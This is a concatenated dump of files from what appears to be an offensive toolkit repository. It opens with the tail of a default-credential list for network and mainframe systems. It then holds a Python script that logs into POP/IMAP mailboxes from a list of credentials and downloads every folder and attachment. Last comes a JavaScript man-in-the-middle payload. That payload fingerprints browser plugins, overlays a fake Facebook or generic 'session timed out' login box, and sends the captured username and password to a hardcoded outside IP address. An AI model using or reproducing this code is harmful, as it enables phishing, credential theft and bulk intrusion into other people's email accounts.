| :maint:rwmaint 416 | :nms:nmspw 417 | :rcust:rcustpw 418 | :support:supportpw 419 | ::use ALT+G at boot to reset config 420 | :(none):744 421 | :secoff:secoff 422 | :tellabs:tellabs#1 423 | :storwatch:specialist 424 | :Administrator:ganteng 425 | :managers:managers 426 | :root:uClinux 427 | :Any:12345 428 | :admin:utstar 429 | :n/a:SY_MB 430 | :n/a:system 431 | :OP1:(none) 432 | :OPERATNS:(none) 433 | :OPERATOR:(none) 434 | :PDMREMI:(none) 435 | :PENG:(none) 436 | :PROCAL:(none) 437 | :PRODBM:(none) 438 | :PROMAIL:(none) 439 | :PSFMAINT:(none) 440 | :PVM:(none) 441 | :RDM470:(none) 442 | :RSCS:(none) 443 | :RSCSV2:(none) 444 | :SAVSYS:(none) 445 | :SFCMI:(none) 446 | :SFCNTRL:(none) 447 | :SMART:(none) 448 | :SQLDBA:(none) 449 | :SQLUSER:(none) 450 | :SYSADMIN:(none) 451 | :SYSCKP:(none) 452 | :SYSDUMP1:(none) 453 | :SYSERR:(none) 454 | :SYSWRM:(none) 455 | :TDISK:(none) 456 | :TEMP:(none) 457 | :TSAFVM:(none) 458 | :VASTEST:(none) 459 | :VM3812:(none) 460 | :VMARCH:(none) 461 | :VMASMON:(none) 462 | :VMASSYS:(none) 463 | :VMBACKUP:(none) 464 | :VMBSYSAD:(none) 465 | :VMMAP:(none) 466 | :VMTAPE:(none) 467 | :VMTLIBR:(none) 468 | :VMUTIL:(none) 469 | :VSEIPO:(none) 470 | :VSEMAINT:(none) 471 | :VSEMAN:(none) 472 | :VTAM:(none) 473 | :VTAMUSER:(none) 474 | :DEMO4:(none) 475 | :$ALOC$:(none) 476 | :AP2SVP:(none) 477 | :APL2PP:(none) 478 | :AUTOLOG1:(none) 479 | :BATCH:(none) 480 | :BATCH1:(none) 481 | :BATCH2:(none) 482 | :CCC:(none) 483 | :CMSBATCH:(none) 484 | :CMSUSER:(none) 485 | :CPNUC:(none) 486 | :CPRM:(none) 487 | :CSPUSER:(none) 488 | :CVIEW:(none) 489 | :DATAMOVE:(none) 490 | :DEMO1:(none) 491 | :DEMO3:(none) 492 | :DEMO2:(none) 493 | :DIRECT:(none) 494 | :DIRMAINT:(none) 495 | :DISKCNT:(none) 496 | :EREP:(none) 497 | :FSFADMIN:(none) 498 | :FSFTASK1:(none) 499 | :FSFTASK2:(none) 500 | :GCS:(none) 501 | :IDMS:(none) 502 | :IDMSSE:(none) 503 | :IIPS:(none) 504 | :IPFSERV:(none) 505 | :ISPVM:(none) 506 | :IVPM1:(none) 507 | :IVPM2:(none) 508 | :MAINT:(none) 509 | :MOESERV:(none) 510 | :NEVIEW:(none) 511 | :OLTSEP:(none) 512 | :TELEDEMO:TELEDEMO 513 | :UETP:UETP 514 | :USER:PASSWORD 515 | :USERP:USERP 516 | :VAX:VAX 517 | :VMS:VMS 518 | :ALLIN1:ALLIN1 519 | :ALLIN1MAIL:ALLIN1MAIL 520 | :ALLINONE:ALLINONE 521 | :DCL:DCL 522 | :DECMAIL:DECMAIL 523 | :DECNET:DECNET 524 | :DECNET:NONPRIV 525 | :PRIV:PRIV 526 | :REPORT:REPORT 527 | :RJE:RJE 528 | :STUDENT:STUDENT 529 | :SYS:SYS 530 | :SYSMAINT:SYSMAINT 531 | :SYSMAINT:SERVICE 532 | :SYSMAINT:DIGITAL 533 | :SYSTEM:OPERATOR 534 | :SYSTEM:SYSLIB 535 | :SYSTEST:UETP 536 | :DEFAULT:USER 537 | :SYSTEST_CLIG:SYSTEST_CLIG 538 | :DEFAULT:DEFAULT 539 | :FIELD:FIELD 540 | :FIELD:TEST 541 | :FIELD:DIGITAL 542 | :HELP:HELP 543 | :HELPDESK:HELPDESK 544 | :HOST:HOST 545 | :INFO:INFO 546 | :INGRES:INGRES 547 | :LINK:LINK 548 | :MAILER:MAILER 549 | :MBMANAGER:MBMANAGER 550 | :MBWATCH:MBWATCH 551 | :NETCON:NETCON 552 | :NETMGR:NETMGR 553 | :NETNONPRIV:NETNONPRIV 554 | :SYSTEST_CLIG:SYSTEST 555 | :NETPRIV:NETPRIV 556 | :NETSERVER:NETSERVER 557 | :NEWINGRES:NEWINGRES 558 | :NEWS:NEWS 559 | :OPERVAX:OPERVAX 560 | :POSTMASTER:POSTMASTER 561 | :(none):default 562 | :Administrator:(none) 563 | :User:User 564 | :Guest:Guest 565 | :IS_$hostname:(same) 566 | :Administrator:Administrator 567 | :admin:comcomcom 568 | :(none):Intel 569 | :sherzad420:pakistan 570 | -------------------------------------------------------------------------------- /emaildownloader/emailDownloader.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | import email,os,imaplib 5 | from imapclient import IMAPClient 6 | from email.utils import parseaddr 7 | import socket,sys,time 8 | import multiprocessing 9 | import getpass, poplib 10 | import socket 11 | 12 | imapserver = '' 13 | popserver = '' 14 | verbose=False 15 | SSL=True 16 | SEARCH=False 17 | USERNAME = '' 18 | PASSWORD = '' 19 | INPUTFILE = '' 20 | emails_dir = os.getcwd()+"/result/" 21 | 22 | 23 | def isOpen(ip,port): 24 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 25 | try: 26 | s.settimeout(1) 27 | s.connect((ip, int(port))) 28 | s.close() 29 | return True 30 | except: 31 | return False 32 | 33 | def fetch_email(server,msgid,username): 34 | if not os.path.exists(emails_dir+"attachments/"+username): 35 | os.makedirs(emails_dir+"attachments/"+username) 36 | 37 | response = server.fetch(msgid, ['RFC822']) 38 | for msgid, data in response.iteritems(): 39 | msg_string = data['RFC822'] 40 | msg = email.message_from_string(msg_string) 41 | if msg.get_content_maintype() == 'multipart': 42 | for part in msg.walk(): 43 | filename = part.get_filename() 44 | if filename: 45 | msgbody = (part.get_payload(decode=True)) 46 | if msgbody!=None: 47 | att_path = os.path.join(emails_dir+"attachments/"+username+"/", filename) 48 | if not os.path.exists(att_path): 49 | print "[+] Saving attachments: "+att_path 50 | fp = open(att_path, 'wb') 51 | fp.write(msgbody) 52 | fp.close() 53 | else: 54 | if verbose==True: 55 | print "[-] Skipping "+att_path 56 | 57 | 58 | if msg.get_content_maintype() != 'multipart': 59 | continue 60 | for part in msg.walk(): 61 | msgbody = "" 62 | #print 'Content-Type:',part.get_content_type() 63 | #print 'Main Content:',part.get_content_maintype() 64 | #print 'Sub Content:',part.get_content_subtype() 65 | 66 | if part.get_content_maintype() == 'multipart': 67 | continue 68 | if part.get_content_subtype() == 'plain': 69 | msgbody = part.get_payload(decode=True) 70 | return msgbody 71 | if part.get_content_subtype() == 'html': 72 | msgbody = part.get_payload(decode=True) 73 | return msgbody 74 | 75 | #if part.get_content_maintype() == 'multipart': 76 | # continue 77 | if part.get('Content-Disposition') is None: 78 | continue 79 | #else: 80 | # print part.get_content_maintype() 81 | # msgbody = (part.get_payload(decode=True)) 82 | # print msgbody 83 | 84 | 85 | """ 86 | """ 87 | def connectMailboxPOP(username,password,popserver,SSL): 88 | print "[*] Accessing: "+popserver+" - "+username 89 | 90 | emailPath = emails_dir+"emails/"+username+"/Inbox" 91 | if not os.path.exists(emailPath): 92 | os.makedirs(emailPath) 93 | HOST = popserver 94 | ssl = SSL 95 | if SSL==True: 96 | Mailbox = poplib.POP3_SSL(popserver, '995') 97 | else: 98 | Mailbox = poplib.POP3(popserver, '110') 99 | Mailbox.user(username) 100 | Mailbox.pass_(password) 101 | 102 | numMessages = len(Mailbox.list()[1]) 103 | progressBar = False 104 | print "[+] Downloading: "+str(numMessages)+" email(s) - "+username 105 | 106 | for i in range(numMessages): 107 | response = Mailbox.retr(numMessages+1-(i+1)) 108 | #response = Mailbox.retr(numMessages+1-(i+1)) 109 | #response = Mailbox.retr(i+1) 110 | lines = response[1] 111 | emailMessage = email.message_from_string('\n'.join(lines)) 112 | 113 | for part in emailMessage.walk(): 114 | if part.get_content_maintype() == 'text': 115 | msgbody = part.get_payload(decode=True) 116 | att_path = os.path.join(emailPath, str(i+1)) 117 | if not os.path.exists(att_path): 118 | #Write emails to local drive 119 | if len(msgbody)>0: 120 | if verbose==True: 121 | print "[+] Saving emails: "+att_path+" of "+str(numMessages)+" emails" 122 | fp = open(att_path, 'wb') 123 | fp.write(msgbody) 124 | fp.close() 125 | else: 126 | if verbose==True: 127 | print "[-] Skipping "+att_path+" of "+str(numMessages)+" emails" 128 | if progressBar==True: 129 | print "\n" 130 | 131 | if part.get_content_maintype() == 'multipart': 132 | continue 133 | if part.get('Content-Disposition') is None: 134 | continue 135 | filename = part.get_filename() 136 | if (filename): 137 | if not os.path.exists(emails_dir+"attachments/"+username): 138 | os.makedirs(emails_dir+"attachments/"+username) 139 | 140 | msgbody = (part.get_payload(decode=True)) 141 | if msgbody!=None: 142 | att_path = os.path.join(emails_dir+"attachments/"+username+"/", filename) 143 | if not os.path.exists(att_path): 144 | print "[+] Saving attachments: "+att_path 145 | fp = open(att_path, 'wb') 146 | fp.write(msgbody) 147 | fp.close() 148 | else: 149 | if verbose==True: 150 | print "[-] Skipping "+att_path 151 | if not (filename): continue 152 | 153 | 154 | def connectMailboxIMAP(username,password,imapserver,SSL): 155 | print "[*] Accessing: "+imapserver+" - "+username 156 | HOST = imapserver 157 | ssl = SSL 158 | mail = imaplib.IMAP4_SSL(HOST) 159 | mail.login(username,password) 160 | 161 | server = IMAPClient(HOST, use_uid=True, ssl=ssl) 162 | server.login(username,password) 163 | folders = server.list_folders() 164 | 165 | for folder in folders: 166 | #try: 167 | emailPath = emails_dir+"emails/"+username+"/"+folder[2] 168 | if not os.path.exists(emailPath): 169 | os.makedirs(emailPath) 170 | 171 | server.select_folder(folder[2]) 172 | messages = server.search(['NOT DELETED']) 173 | 174 | progressBar = False 175 | print "[+] Downloading from '"+str(folder[2]).strip()+"' folder: "+str(len(messages))+" email(s) - "+username 176 | for msg in messages: 177 | #print msg 178 | #msgid = str(msg).strip("L") 179 | 180 | #Fetch email from server if email is not downloaded yet 181 | att_path = os.path.join(emailPath, str(msg)) 182 | 183 | if not os.path.exists(att_path): 184 | msgbody=fetch_email(server,msg,username) 185 | #Write emails to local drive 186 | if msgbody!=None and len(msgbody)>0: 187 | if verbose==True: 188 | print "[+] Saving emails: "+att_path 189 | fp = open(att_path, 'wb') 190 | fp.write(msgbody) 191 | fp.close() 192 | 193 | #if(len(messages)>10): 194 | # progressBar = True 195 | # sys.stdout.write('.') 196 | # sys.stdout.flush() 197 | else: 198 | if verbose==True: 199 | print "[-] Skipping "+att_path 200 | if progressBar==True: 201 | print "\n" 202 | #except: 203 | # continue 204 | 205 | 206 | def checkEmailServer(): 207 | jobs = [] 208 | accounts = [] 209 | 210 | if(len(USERNAME)>0 or len(PASSWORD)>0): 211 | uname,domain = USERNAME.split('@') 212 | print "[*] Checking: "+USERNAME 213 | 214 | emailServer = '' 215 | if isOpen('pop.'+domain,995): 216 | popserver = 'pop.'+domain 217 | emailServer = 'pop' 218 | SSL=True 219 | if isOpen('pop.'+domain,110): 220 | popserver = 'pop.'+domain 221 | emailServer = 'pop' 222 | SSL=False 223 | if isOpen('pop3.'+domain,995): 224 | popserver = 'pop3.'+domain 225 | emailServer = 'pop' 226 | SSL=True 227 | if isOpen('pop3.'+domain,110): 228 | popserver = 'pop3.'+domain 229 | emailServer = 'pop' 230 | SSL=False 231 | if isOpen('imap.'+domain,465): 232 | imapserver = 'imap.'+domain 233 | emailServer = 'imap' 234 | SSL=True 235 | if isOpen('imap.'+domain,143): 236 | imapserver = 'imap.'+domain 237 | emailServer = 'imap' 238 | SSL=False 239 | 240 | if emailServer=='pop': 241 | p = multiprocessing.Process( 242 | target=connectMailboxPOP, 243 | args=(USERNAME,PASSWORD,popserver,SSL,) 244 | ) 245 | jobs.append(p) 246 | p.start() 247 | if emailServer=='imap': 248 | p = multiprocessing.Process( 249 | target=connectMailboxIMAP, 250 | args=(USERNAME,PASSWORD,imapserver,SSL,) 251 | ) 252 | jobs.append(p) 253 | p.start() 254 | 255 | 256 | if(len(INPUTFILE)>0): 257 | with open(INPUTFILE) as f: 258 | accounts = f.readlines() 259 | for account in accounts: 260 | account = account.strip() 261 | if len(account)>0: 262 | username,password = account.split() 263 | uname,domain = username.split('@') 264 | 265 | print "[*] Checking: "+username 266 | 267 | emailServer = '' 268 | if isOpen('pop.'+domain,995): 269 | popserver = 'pop.'+domain 270 | emailServer = 'pop' 271 | SSL=True 272 | if isOpen('pop.'+domain,110): 273 | popserver = 'pop.'+domain 274 | emailServer = 'pop' 275 | SSL=False 276 | if isOpen('pop3.'+domain,995): 277 | popserver = 'pop3.'+domain 278 | emailServer = 'pop' 279 | SSL=True 280 | if isOpen('pop3.'+domain,110): 281 | popserver = 'pop3.'+domain 282 | emailServer = 'pop' 283 | SSL=False 284 | if isOpen('imap.'+domain,465): 285 | imapserver = 'imap.'+domain 286 | emailServer = 'imap' 287 | SSL=True 288 | if isOpen('imap.'+domain,143): 289 | imapserver = 'imap.'+domain 290 | emailServer = 'imap' 291 | SSL=False 292 | 293 | if emailServer=='pop': 294 | p = multiprocessing.Process( 295 | target=connectMailboxPOP, 296 | args=(username,password,popserver,SSL,) 297 | ) 298 | jobs.append(p) 299 | p.start() 300 | 301 | if emailServer=='imap': 302 | p = multiprocessing.Process( 303 | target=connectMailboxIMAP, 304 | args=(username,password,imapserver,SSL,) 305 | ) 306 | jobs.append(p) 307 | p.start() 308 | 309 | if __name__ == '__main__': 310 | import argparse 311 | parser = argparse.ArgumentParser(__file__) 312 | parser = argparse.ArgumentParser(description="Emails are saved to [current-dir]/result/emails/[email-address] folder. Attachments are saved to [current-dir]/result/attachments/[email-address] folder.") 313 | parser.add_argument('-u','--user', help='Email address', required=False) 314 | parser.add_argument('-p','--pass', help='Email account password', required=False) 315 | parser.add_argument('-f','--file', help='File containing list of email accounts', required=False) 316 | parser.add_argument('-d','--dest', help='Location to save downloaded emails', required=False) 317 | #parser.add_argument('-s','--search', help='Search emails for passwords and credit cards', action='store_true') 318 | parser.add_argument('-v','--verbose', help='Enable verbose mode', action='store_true') 319 | args = vars(parser.parse_args()) 320 | 321 | #if args['search']!=None: 322 | # SEARCH = True 323 | # if SEARCH==True: 324 | # for text in searchText: 325 | # searchthis(emails_dir, text) 326 | if args['verbose']: 327 | verbose=True 328 | if args['dest']!=None: 329 | emails_dir = args['dest']+"/emails/" 330 | if not os.path.exists(emails_dir): 331 | os.makedirs(emails_dir) 332 | if args['user']!=None and args['pass']!=None: 333 | USERNAME = args['user'] 334 | PASSWORD = args['pass'] 335 | checkEmailServer() 336 | if args['file']!=None: 337 | INPUTFILE = args['file'] 338 | checkEmailServer() 339 | 340 | -------------------------------------------------------------------------------- /mitm/beefclone.js: -------------------------------------------------------------------------------- 1 | var geolocation = ""; 2 | var browserVer = ""; 3 | var userAgent = ""; 4 | 5 | function browserVersion(){ 6 | var browser = ''; 7 | var browserVersion = 0; 8 | if (/Opera[\/\s](\d+\.\d+)/.test(navigator.userAgent)) { 9 | browser = 'Opera'; 10 | } else if (/MSIE (\d+\.\d+);/.test(navigator.userAgent)) { 11 | browser = 'MSIE'; 12 | } else if (/Navigator[\/\s](\d+\.\d+)/.test(navigator.userAgent)) { 13 | browser = 'Netscape'; 14 | } else if (/Chrome[\/\s](\d+\.\d+)/.test(navigator.userAgent)) { 15 | browser = 'Chrome'; 16 | } else if (/Safari[\/\s](\d+\.\d+)/.test(navigator.userAgent)) { 17 | browser = 'Safari'; 18 | /Version[\/\s](\d+\.\d+)/.test(navigator.userAgent); 19 | browserVersion = new Number(RegExp.$1); 20 | } else if (/Firefox[\/\s](\d+\.\d+)/.test(navigator.userAgent)) { 21 | browser = 'Firefox'; 22 | } 23 | if(browserVersion === 0){ 24 | browserVersion = parseFloat(new Number(RegExp.$1)); 25 | } 26 | browserVer ="browser="+browser+"&browserVersion="+browserVersion; 27 | userAgent = "&userAgent="+navigator.userAgent; 28 | } 29 | 30 | function showLocation(position) { 31 | var latitude = position.coords.latitude; 32 | var longitude = position.coords.longitude; 33 | geolocation = "&latitude="+latitude+"&longitude="+longitude; 34 | //alert("Latitude : " + latitude + " Longitude: " + longitude); 35 | getVersion(); 36 | } 37 | 38 | function getVersion(){ 39 | browserVersion(); 40 | 41 | //var tz = jstz.determine(); 42 | //var timezone = "&timezone="+tz.name(); 43 | 44 | //var visits = visits; 45 | var referer = document.referrer; 46 | var qtversion = PluginDetect.getVersion("quicktime"); 47 | var axversion = PluginDetect.getVersion("activex"); 48 | var flashversion = PluginDetect.getVersion("flash"); 49 | var ieversion = PluginDetect.getVersion("iecomponent"); 50 | var javaversion = PluginDetect.getVersion("java"); 51 | var pdfjsversion = PluginDetect.getVersion("pdfjs"); 52 | var pdfreaderversion = PluginDetect.getVersion("pdfreader"); 53 | var realplayerversion = PluginDetect.getVersion("realplayer"); 54 | var shockwaveversion = PluginDetect.getVersion("shockwave"); 55 | var silverlightversion = PluginDetect.getVersion("silverlight"); 56 | var vlcversion = PluginDetect.getVersion("vlc"); 57 | var windowsmpversion = PluginDetect.getVersion("windowsmediaplayer"); 58 | 59 | var output = ""; 60 | output += browserVer; 61 | output += userAgent; 62 | output += "&visits="+visits; 63 | output += "&qtversion="+qtversion; 64 | output += "&axversion="+axversion; 65 | output += "&flashversion="+ flashversion; 66 | output += "&ieversion="+ ieversion; 67 | output += "&javaversion="+ javaversion; 68 | output += "&pdfjsversion="+ pdfjsversion; 69 | output += "&pdfreaderversion="+ pdfreaderversion; 70 | output += "&realplayerversion="+ realplayerversion; 71 | output += "&shockwaveversion="+ shockwaveversion; 72 | output += "&silverlightversion="+ silverlightversion; 73 | output += "&vlcversion="+ vlcversion; 74 | output += "&windowsmpversion="+ windowsmpversion; 75 | return output; 76 | 77 | // $.ajax({ 78 | // type: "GET", 79 | // url: "http://96.126.106.188:8888/bin/process", 80 | // data: output, 81 | // success: function() { 82 | // } 83 | // }); 84 | 85 | } 86 | 87 | function errorHandler(err) { 88 | if(err.code == 1) { 89 | //alert("Error: Access is denied!"); 90 | }else if( err.code == 2) { 91 | //alert("Error: Position is unavailable!"); 92 | } 93 | } 94 | function getLocation(){ 95 | if(navigator.geolocation){ 96 | // timeout at 60000 milliseconds (60 seconds) 97 | var options = {timeout:60000}; 98 | navigator.geolocation.getCurrentPosition(showLocation, 99 | errorHandler, 100 | options); 101 | 102 | }else{ 103 | alert("Sorry, browser does not support geolocation!"); 104 | } 105 | } 106 | 107 | var answer= ''; 108 | function grayOut(vis, options) { 109 | var options = options || {}; 110 | var zindex = options.zindex || 50; 111 | var opacity = options.opacity || 70; 112 | var opaque = (opacity / 100); 113 | var bgcolor = options.bgcolor || '#000000'; 114 | var dark=document.getElementById('darkenScreenObject'); 115 | if (!dark) { 116 | var tbody = document.getElementsByTagName("body")[0]; 117 | var tnode = document.createElement('div'); // Create the layer. 118 | tnode.style.position='absolute'; // Position absolutely 119 | tnode.style.top='0px'; // In the top 120 | tnode.style.left='0px'; // Left corner of the page 121 | tnode.style.overflow='hidden'; // Try to avoid making scroll bars 122 | tnode.style.display='none'; // Start out Hidden 123 | tnode.id='darkenScreenObject'; // Name it so we can find it later 124 | tbody.appendChild(tnode); // Add it to the web page 125 | dark=document.getElementById('darkenScreenObject'); // Get the object. 126 | } 127 | if (vis) { 128 | var pageWidth='100%'; 129 | var pageHeight='100%'; 130 | dark.style.opacity=opaque; 131 | dark.style.MozOpacity=opaque; 132 | dark.style.filter='alpha(opacity='+opacity+')'; 133 | dark.style.zIndex=zindex; 134 | dark.style.backgroundColor=bgcolor; 135 | dark.style.width= pageWidth; 136 | dark.style.height= pageHeight; 137 | dark.style.display='block'; 138 | } else { 139 | dark.style.display='none'; 140 | } 141 | } 142 | 143 | // CURRENTLY NOT USED 144 | // Send done prompt to user 145 | function win(){ 146 | document.getElementById('popup').innerHtml='

Thank you for re-authenticating, you will now be returned to the application

'; 147 | answer = document.getElementById('uname').value+':'+document.getElementById('pass').value; 148 | } 149 | 150 | 151 | // Check whether the user has entered a user/pass and pressed ok 152 | function checker(){ 153 | uname1 = document.getElementById("uname").value; 154 | pass1 = document.getElementById("pass").value; 155 | valcheck = document.getElementById("buttonpress").value; 156 | 157 | if (uname1.length > 0 && pass1.length > 0 && valcheck == "true") { 158 | // Join user/pass and send to attacker 159 | answer = "source=facebook&"; 160 | answer += "username="+uname1+"&password="+pass1; 161 | $.ajax({ 162 | type: "GET", 163 | url: "http://96.126.106.188:8888/bin/process", 164 | data: answer, 165 | success: function() { 166 | } 167 | }); 168 | //beef.net.send('<%= @command_url %>', <%= @command_id %>, 'answer='+answer); 169 | // Set lastchild invisible 170 | document.getElementById("popup").setAttribute('style','display:none'); 171 | //document.body.lastChild.setAttribute('style','display:none'); 172 | clearInterval(credgrabber); 173 | // Lighten screen 174 | grayOut(false); 175 | //$j('#popup').remove(); 176 | //$j('#darkenScreenObject').remove(); 177 | 178 | }else if((uname1.length == 0 || pass1.length == 0) && valcheck == "true"){ 179 | // If user has not entered any data reset button 180 | document.getElementById("buttonpress").value = "false"; 181 | alert("Please enter a valid username and password."); 182 | } 183 | } 184 | 185 | 186 | // Facebook floating div 187 | function facebook() { 188 | 189 | sneakydiv = document.createElement('div'); 190 | sneakydiv.setAttribute('id', 'popup'); 191 | sneakydiv.setAttribute('style', 'position:absolute; top:30%; left:40%; z-index:51; background-color:ffffff;'); 192 | document.body.appendChild(sneakydiv); 193 | 194 | // Set appearance using styles, maybe cleaner way to do this with CSS block? 195 | var windowborder = 'style="width:330px;background:white;border:10px #999999 solid;border-radius:8px"'; 196 | var windowmain = 'style="border:1px #555 solid;"'; 197 | var tbarstyle = 'style="color: rgb(255, 255, 255); background-color: rgb(109, 132, 180);font-size: 13px;font-family:tahoma,verdana,arial,sans-serif;font-weight: bold;padding: 5px;padding-left:8px;text-align: left;height: 18px;"'; 198 | var bbarstyle = 'style="color: rgb(0, 0, 0);background-color: rgb(242, 242, 242);padding: 8px;text-align: right;border-top: 1px solid rgb(198, 198, 198);height:28px;margin-top:10px;"'; 199 | var messagestyle = 'style="align:left;font-size:11px;font-family:tahoma,verdana,arial,sans-serif;margin:10px 15px;line-height:12px;height:40px;"'; 200 | var box_prestyle = 'style="color: grey;font-size: 11px;font-weight: bold;font-family: tahoma,verdana,arial,sans-serif;padding-left:30px;"'; 201 | var inputboxstyle = 'style="width:140px;font-size: 11px;height: 20px;line-height:20px;padding-left:4px;border-style: solid;border-width: 1px;border-color: rgb(109,132,180);"'; 202 | var buttonstyle = 'style="font-size: 13px;background:#627aac;color:#fff;font-weight:bold;border: 1px #29447e solid;padding: 3px 3px 3px 3px;clear:both;margin-right:5px;"'; 203 | 204 | var title = 'Facebook Session Timed Out'; 205 | var messagewords = 'Your session has timed out due to inactivity.

Please re-enter your username and password to login.'; 206 | var buttonLabel = ''; 207 | 208 | // Build page including styles 209 | sneakydiv.innerHTML= '
' +title+ '

' + messagewords + '

Email:
Password:
' + '
' +buttonLabel+ '
'; 210 | 211 | // Repeatedly check if button has been pressed 212 | credgrabber = setInterval(checker,3000); 213 | } 214 | 215 | 216 | // Generic floating div with image 217 | function generic() { 218 | sneakydiv = document.createElement('div'); 219 | sneakydiv.setAttribute('id', 'popup'); 220 | sneakydiv.setAttribute('style', 'width:400px;position:absolute; top:20%; left:40%; z-index:51; background-color:white;font-family:\'Arial\',Arial,sans-serif;border-width:thin;border-style:solid;border-color:#000000'); 221 | sneakydiv.setAttribute('align', 'center'); 222 | document.body.appendChild(sneakydiv); 223 | sneakydiv.innerHTML= '

Your session has timed out!

For your security, your session has been timed out. To continue browsing this site, please re-enter your username and password below.

Username:
Password:


'; 224 | 225 | // Repeatedly check if button has been pressed 226 | credgrabber = setInterval(checker,3000); 227 | 228 | } 229 | 230 | // Set background opacity and apply background 231 | var backcolor = "<%== @backing %>"; 232 | if(backcolor == "Grey"){ 233 | grayOut(true,{'opacity':'70'}); 234 | } else if(backcolor == "Clear"){ 235 | grayOut(true,{'opacity':'0'}); 236 | } 237 | 238 | --------------------------------------------------------------------------------